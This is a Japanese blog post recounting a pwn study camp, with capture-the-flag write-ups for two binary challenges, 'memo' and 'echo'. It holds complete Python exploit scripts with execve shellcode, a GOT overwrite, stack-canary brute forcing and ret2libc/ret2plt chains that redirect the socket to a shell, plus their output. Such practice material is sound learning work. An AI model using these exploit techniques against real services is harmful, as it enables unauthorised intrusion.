pwn合宿 ~夏の陣~

昨日まで、都内某所でpwn合宿に参加してきたのでその感想を。
pwn合宿ではあるが、pwnばかりというよりは常設CTFとかMMA CTFを各自やったり妨害コンテンツのアニメに見入ったりして、pwnはほとんどできない楽しい内容だった。

基本的にはもくもく会だったが、今までチームメイト以外の人と一緒にpwnとかCTF合宿をやる機会がなかった自分にはこうした経験は刺激も大きく、参加してよかったと思える合宿だった。
個人的に一番良かったと思えたのは、合間で色んな人と話ができたこと。
問題を解いた後に他の解法を聞いてみたり、問題以外でも日ごろ感じていることを話したり、経験したことがないCTFの話に聞き入ったり。
特にチームビルディングの話は面白くて、みんな色々と考えているんだな、と知れたことも収穫だった。


今回用に問題を作ってもらったものもあったので、せっかくなので少し紹介したい。
4問あって、heap overflowの問題はBOFさせるところまでは行って試行錯誤したけど解いていないためそれ以外の2問を書こうと思う。

memo

netcatでサーバに接続すると、名前とパスワードを聞かれる。

[root@ubuntu] # nc XXXXXXXXXX 10005
Input your name.
(name)aaaa
Input your password.
(pass)bbbb
Wrong password...

ファイルを見るとx86バイナリ。保護機構を見てみると、Canary と NX が有効となっている。

gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled

バイナリを読むと、xinetd ライクに動いており、

  • (name)の入力で、fgetsから42文字入力
  • (pass)の入力で、fgetsから128文字入力
  • パスワードが合っている場合、(memo)の入力ができ、fgetsから128文字入力
  • バイナリ内のパスワードは"h4v3_4_n1c3_pwn_c4mp!"で固定
  • (pass)で入力した文字列は、0x15番目のoffset を 0x00 にしてから比較。つまり"h4v3_4_n1c3_pwn_c4mp!"のあとは任意の文字を入力しておける

ということがわかる。

[root@ubuntu] # nc XXXXXXXXXX 10005
Input your name.
(name)aaaa  
Input your password.
(pass)h4v3_4_n1c3_pwn_c4mp!bbbbbbbbbbbbbbbbbbbbbbbb  
Hi, aaaa

Write your memo.
(memo)cccc

次に、文字列が読み込まれる場所を見ると3つともStack上に読み込んでいる。
また、3回それぞれの文字列の読込先もStack上に存在しており、さらに2回目と3回目の読込先は、1回目の文字列で上書きすることができる。

x/10wx 0xffffcf02  (1回目の読込先Addr)
0xffffcf02:	0xea71ffff	0xaac807b1	0xa858f7e1	0x0bf8f7fd
0xffffcf12:	0x0d56f7e2	0xd000f7ff	0xf4e2f7ff	0xd55cf7fd
0xffffcf22:	0xffffcf2c	0xffffcfac
                ↑2回目読込先     ↑3回目読込先

32文字入力した後から、2回目と3回目の読込先情報がOverwriteできる。

次に、書き込み可能な箇所を調べるためにメモリマップを見てみる。

gdb-peda$ vmmap
Start      End        Perm	Name
0x08048000 0x08049000 r-xp	/home/pwncamp2015/memo-3218e32a5e0d8e5216ceaa1230d1c4f60c267038
0x08049000 0x0804a000 rw-p	/home/pwncamp2015/memo-3218e32a5e0d8e5216ceaa1230d1c4f60c267038
0x0804c000 0x0804d000 rwxp	mapped
0xf7e13000 0xf7e14000 rw-p	mapped
0xf7e14000 0xf7fbc000 r-xp	/lib/i386-linux-gnu/libc.so.6
0xf7fbc000 0xf7fbe000 r--p	/lib/i386-linux-gnu/libc.so.6
0xf7fbe000 0xf7fbf000 rw-p	/lib/i386-linux-gnu/libc.so.6
0xf7fbf000 0xf7fc2000 rw-p	mapped
0xf7fd8000 0xf7fdb000 rw-p	mapped
0xf7fdb000 0xf7fdc000 r-xp	[vdso]
0xf7fdc000 0xf7ffc000 r-xp	/lib/i386-linux-gnu/ld-2.19.so
0xf7ffc000 0xf7ffd000 r--p	/lib/i386-linux-gnu/ld-2.19.so
0xf7ffd000 0xf7ffe000 rw-p	/lib/i386-linux-gnu/ld-2.19.so
0xfffdd000 0xffffe000 rw-p	[stack]

rwxな領域も存在することがわかる。
ここで攻撃方針が立つ。

  1. 1回目の書き込みで、2回目の読込先をrwx領域に、3回目の読込先をどこかのgotに変える。
  2. 2回目の書き込みで、"h4v3_4_n1c3_pwn_c4mp!" の文字列と、その後にシェルコードを送り込む
  3. 3回目の書き込みで、どこかのgotをシェルコードの先頭を指すよう書き換える
  4. gotに飛んだときにシェルコード発動

しかし、静的解析をしていると3回目のfgets(赤線)の後にはlibcの関数を呼ばずにmainが終了していることがわかる。

f:id:f_rin:20150908172227p:plain
x86のためBruteForceでリターンアドレスを書き換えることはできるがもっと良い方法はないものか。
ここで、gdbでmain関数からのReturnを読んでみると、Return後の exit 関数の中で munmap.plt を呼んでいる箇所があった。
main関数だけ見てたら気付かないわけだ…

というわけで3回目の書き込み先は munmap@got.plt にする。

#!/usr/bin/python
# -*- coding: utf-8 -*-
import sys, socket, struct, telnetlib

###################### useful function definition
def sock(remoteip, remoteport):
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((remoteip, remoteport))
	f = s.makefile('rw', bufsize=0)
	return s, f

def read_until(f, delim='\n'):
	data = ''
	while not data.endswith(delim):
		data += f.read(1)
	return data

def shell(s):
	t = telnetlib.Telnet()
	t.sock = s
	t.interact()

def p(a): return struct.pack("<I", a)
###################### main

def main(argv):
	rwx = 0x804c000
	got_munmap = 0x8049ba4

	shellcode = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"

	keyword = "h4v3_4_n1c3_pwn_c4mp!"

	if(len(argv) == 2 and argv[1] == 'r'):
		print "[+] connect to remote."
		s, f = sock("XXXXXXXXXX", 10005)
	else:
		print "[+] connect to local."
		s, f = sock("localhost", 10005)

	ret = read_until(f, "(name)")
	print ret

	buf = 'A' * 32
	buf += p(rwx)
	buf += p(got_munmap)
	f.write(buf+'\n')

	ret = read_until(f, "(pass)")
	print ret

	buf2 = keyword
	buf2 += shellcode
	f.write(buf2+'\n')

	ret = read_until(f)
	print ret

	buf3 = p(rwx+len(keyword))
	f.write(buf3+'\n')
	shell(s)

if __name__ == '__main__':
	main(sys.argv)

これでシェルを取得することができた。

[root@ubuntu] # python exploit_memo.py r
[+] connect to remote.
Input your name.
(name)
Input your password.
(pass)
Hi, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Write your memo.
(memo)ls
bin
boot
dev
etc
home
lib
lib32
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
cat /home/*/flag
PWN{enjoypwncamp}
exit
*** Connection closed by remote host ***
[root@ubuntu] # 

mainの後とか意識していなかったので勉強になった。

echo

netcatで接続すると、メッセージを入力するように言われ、入力するとそれを返すプログラムの模様。

[root@ubuntu] # nc XXXXXXXXXX 10004
Welcome to Echo Server
Input your message
>>AAAAA  
Okay! I recieved 6 bytes
AAAAA

Bye!

ファイルは同じくx86バイナリ。保護機構も memo とほぼ同様だ。RELROがPartialなので lazy binding が有効。

gdb-peda$ checksec 
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

バイナリを読むとforkサーバが実装されているため、親プロセスが死なない限りはアドレス位置や Canary値は変わらない。
このサーバではFD4で接続し、1024文字の入力を recv している。ここで Stack Overflow ができるようになっているが、513文字目から Canary を上書きしてしまうため切断されてしまう。

このプログラムはforkサーバ型なので、Canary BruteForce にて1バイトずつ Canary をリークさせる方針を取る。
その後、dup2にて入出力のファイルディスクリプタを4に差し替え、execve を呼ぶ。
バイナリ内で利用されているdprintfで情報をリークしようとしたがうまく行かないので、仕方なしに libc_base を推測して Brute Force することにした。

なんかBruteばっかりだな…ということでこの問題は ASLR を有効にした自サーバに打つ。
libc_baseは、32bitマシンか64bitマシンで値が違うが、自サーバは64bitマシンで動かしているため 0xf7500000 あたりから0x1000ずつ増やしていけば当たるだろう(ちなみに libc.so.6 は与えられている)。

#!/usr/bin/python
# -*- coding: utf-8 -*-
import sys, socket, struct, telnetlib, signal

###################### useful function definition
def sock(remoteip, remoteport):
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((remoteip, remoteport))
	f = s.makefile('rw', bufsize=0)
	return s, f

def read_until(f, delim='\n'):
		data = ''
		while not data.endswith(delim):
				data += f.read(1)
		return data

def shell(s):
	t = telnetlib.Telnet()
	t.sock = s
	t.interact()

def p(a): return struct.pack("<I", a)
###################### main

class TimeoutError(Exception):
	pass

def handler(signum, frame):
	raise TimeoutError()

def canaryBruteForce(buf):
	for i in range(0x100):
		signal.alarm(0)
		signal.alarm(1)
		#print "[+] %d..." % i

		try:
			s, f = sock("localhost", 10004)

			ret = read_until(f)
			buf1 = buf + chr(i)
			f.write(buf1)

			ret = read_until(f)
			ret = read_until(f)
			ret = read_until(f)
			ret = read_until(f)
			if("Bye!" in ret):
				print "[+] value is: 0x%02x" % i
				return buf1
		except:
			pass

def main(argv):
	socketfd = 4
	libc_base = 0xf7500000
	execve_addr = libc_base + 0xb5be0
	dup2_addr = libc_base + 0xdb590
	binsh_addr = libc_base + 0x160a24
	exit_addr = libc_base + 0x331e0
	pop2ret = 0x8048b95
	pop3ret = 0x8048b94

	buf = "A" * 512

	### guessing Canary
	print "[+] find Canary"
	print "[+] finding 1st byte"
	signal.signal(signal.SIGALRM, handler)
	buf = canaryBruteForce(buf)
	print "[+] finding 2nd byte"
	buf = canaryBruteForce(buf)
	print "[+] finding 3rd byte"
	buf = canaryBruteForce(buf)
	print "[+] finding 4th byte"
	buf = canaryBruteForce(buf)
	signal.alarm(0)

	print "[+] Canary found. start ret2libc"
	for i in range(0x200):
		offset = i * 0x1000
		print "[+] libc_base: 0x%08x" % (libc_base + offset)
		buf1 = buf
		buf1 += "A" * 12
		buf1 += p(offset + dup2_addr)
		buf1 += p(pop2ret)
		buf1 += p(socketfd)
		buf1 += p(0)
		buf1 += p(offset + dup2_addr)
		buf1 += p(pop2ret)
		buf1 += p(socketfd)
		buf1 += p(1)
		buf1 += p(offset + dup2_addr)
		buf1 += p(pop2ret)
		buf1 += p(socketfd)
		buf1 += p(2)
		buf1 += p(offset + execve_addr)
		buf1 += p(pop3ret)
		buf1 += p(offset + binsh_addr)
		buf1 += p(0)
		buf1 += p(0)
		buf1 += p(offset + exit_addr)
		buf1 += "AAAA"
		buf1 += p(0)

		s, f = sock("localhost", 10004)
		ret = read_until(f)
		f.write(buf1+'\n')

		shell(s)

if __name__ == '__main__':
	main(sys.argv)

これでシェルを取ることができた。

[root@ubuntu] # python exploit_echo_local.py
[+] find Canary
[+] finding 1st byte
[+] value is: 0x00
[+] finding 2nd byte
[+] value is: 0x5b
[+] finding 3rd byte
[+] value is: 0x12
[+] finding 4th byte
[+] value is: 0xa5
[+] Canary found. start ret2libc
[+] libc_base: 0xf7500000

(snip)

[+] libc_base: 0xf75dc000
Input your message
>>Okay! I recieved 609 bytes
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
ls /
bin
boot
cdrom
dev
etc
home
initrd.img
lib
lib32
lib64
libx32
lost+found
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
vmlinuz
exit
*** Connection closed by remote host ***

Return to dl-runtime-resolve とかでいけるかな、とか思いつつもまだ不勉強なのでやらなかった。
もう少しキレイに解けたら追記しようと思う(pwnにきれいさはいらないとは思うが…)。

追記:
投稿後に普通に dprintf でリークできるよというツッコミをいただいた。
おかしいな、試したはずなのになぜ…と思いつつも試行錯誤すると確かに leak できた。

もともと試していたリーク方法

dprintf(4, "%x\n\x00", got_dprintf)
⇒ dprintf の処理で使われている strchrnul の中でセグって終わる

うまくいった方法

dprintf(4, got_dprintf)


…(´・ω`・)


ということで、 ret2plt を使って libc_base は一発で求まるようになったため、
Canary Brute Force → ret2plt(libc leak) → ret2libc にて攻略できるようになった。

#!/usr/bin/python
# -*- coding: utf-8 -*-
import sys, socket, struct, telnetlib, signal

###################### useful function definition
def sock(remoteip, remoteport):
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((remoteip, remoteport))
	f = s.makefile('rw', bufsize=0)
	return s, f

def read_until(f, delim='\n'):
		data = ''
		while not data.endswith(delim):
				data += f.read(1)
		return data

def shell(s):
	t = telnetlib.Telnet()
	t.sock = s
	t.interact()

def p(a): return struct.pack("<I", a)
def u(a): return struct.unpack("<I",a)[0]
###################### main

class TimeoutError(Exception):
	pass

def handler(signum, frame):
	raise TimeoutError()

def canaryBruteForce(buf):
	for i in range(0x100):
		signal.alarm(0)
		signal.alarm(1)
		#print "[+] %d..." % i

		try:
			s, f = sock("localhost", 10004)

			ret = read_until(f)
			buf1 = buf + chr(i)
			f.write(buf1)

			ret = read_until(f)
			ret = read_until(f)
			ret = read_until(f)
			ret = read_until(f)
			if("Bye!" in ret):
				print "[+] value is: 0x%02x" % i
				return buf1
		except:
			pass

def main(argv):
	socketfd = 4
	plt_dprintf = 0x80485e0
	got_dprintf = 0x804a010
	dprintf_offset = 0x4d360
	plt_exit = 0x8048650
	execve_offset = 0xb5be0
	dup2_offset = 0xdb590
	binsh_offset = 0x160a24
	pop2ret = 0x8048b95
	pop3ret = 0x8048b94

	buf = "A" * 512

	### guessing Canary
	print "[+] find Canary"
	print "[+] finding 1st byte"
	signal.signal(signal.SIGALRM, handler)
	buf = canaryBruteForce(buf)
	print "[+] finding 2nd byte"
	buf = canaryBruteForce(buf)
	print "[+] finding 3rd byte"
	buf = canaryBruteForce(buf)
	print "[+] finding 4th byte"
	buf = canaryBruteForce(buf)
	signal.alarm(0)

	### leak libc_addr
	print "[+] Canary found. start ret2plt"
	s, f = sock("localhost", 10004)
	ret = read_until(f)

	buf1 = buf
	buf1 += "A" * 12
	buf1 += p(plt_dprintf)
	buf1 += p(pop2ret)
	buf1 += p(4)
	buf1 += p(got_dprintf)
	buf1 += p(plt_exit)
	buf1 += "AAAA"
	buf1 += p(0)
	f.write(buf1+'\n')
	ret = f.read(560)
	dprintf_addr = u(f.read(4))

	print "[+] dprintf_addr: 0x%x" % dprintf_addr
	libc_base = dprintf_addr - dprintf_offset
	print "[+] libc_base: 0x%x" % libc_base

	### ret2libc
	print "[+] start ret2libc"
	s, f = sock("localhost", 10004)
	ret = read_until(f)

	buf2 = buf
	buf2 += "A" * 12
	buf2 += p(libc_base + dup2_offset)
	buf2 += p(pop2ret)
	buf2 += p(socketfd)
	buf2 += p(0)
	buf2 += p(libc_base + dup2_offset)
	buf2 += p(pop2ret)
	buf2 += p(socketfd)
	buf2 += p(1)
	buf2 += p(libc_base + dup2_offset)
	buf2 += p(pop2ret)
	buf2 += p(socketfd)
	buf2 += p(2)
	buf2 += p(libc_base + execve_offset)
	buf2 += p(pop3ret)
	buf2 += p(libc_base + binsh_offset)
	buf2 += p(0)
	buf2 += p(0)
	buf2 += p(plt_exit)
	buf2 += "AAAA"
	buf2 += p(0)

	f.write(buf2+'\n')
	shell(s)

if __name__ == '__main__':
	main(sys.argv)

試行回数激減だ。

[root@ubuntu] # python exploit_echo.py
[+] find Canary
[+] finding 1st byte
[+] value is: 0x00
[+] finding 2nd byte
[+] value is: 0x32
[+] finding 3rd byte
[+] value is: 0x12
[+] finding 4th byte
[+] value is: 0xb3
[+] Canary found. start ret2plt
[+] dprintf_addr: 0xf7651360
[+] libc_base: 0xf7604000
[+] start ret2libc
Input your message
>>Okay! I recieved 609 bytes
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
ls /
bin
boot
cdrom
dev
etc
home
initrd.img
lib
lib32
lib64
libx32
lost+found
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
vmlinuz
exit
*** Connection closed by remote host ***
[root@ubuntu] # 

計算したlibc_baseからシェルを起動することができた。


おわりに

改めて振返ってみるとこういう経験って慣れ親しんでいるチームメイトともなかなかやらないし、集まってやれたことはとても良かった。
最初は参加していいものかビビっていたが、pwnばかり考えて、寝泊りしながら問題解いて、話ができて(←これ重要)、つながれたことは貴重で、明け方にホロ酔いになりながら談笑したことはたぶん忘れない。

最後に。
CTF始めたてで、pwn経験がない方が一人参加されていたけど2日足らずで村人A, Bを突破しBOFの問題にまで手を付けている様子を見て、pwn合宿の威力ハンパねぇw と思った。
あと世の中はすごい人がたくさんいるなという率直な感想。
この威力に負けないよう、そして次はさらに楽しめるようになろうと思う。

運営お疲れ様でした。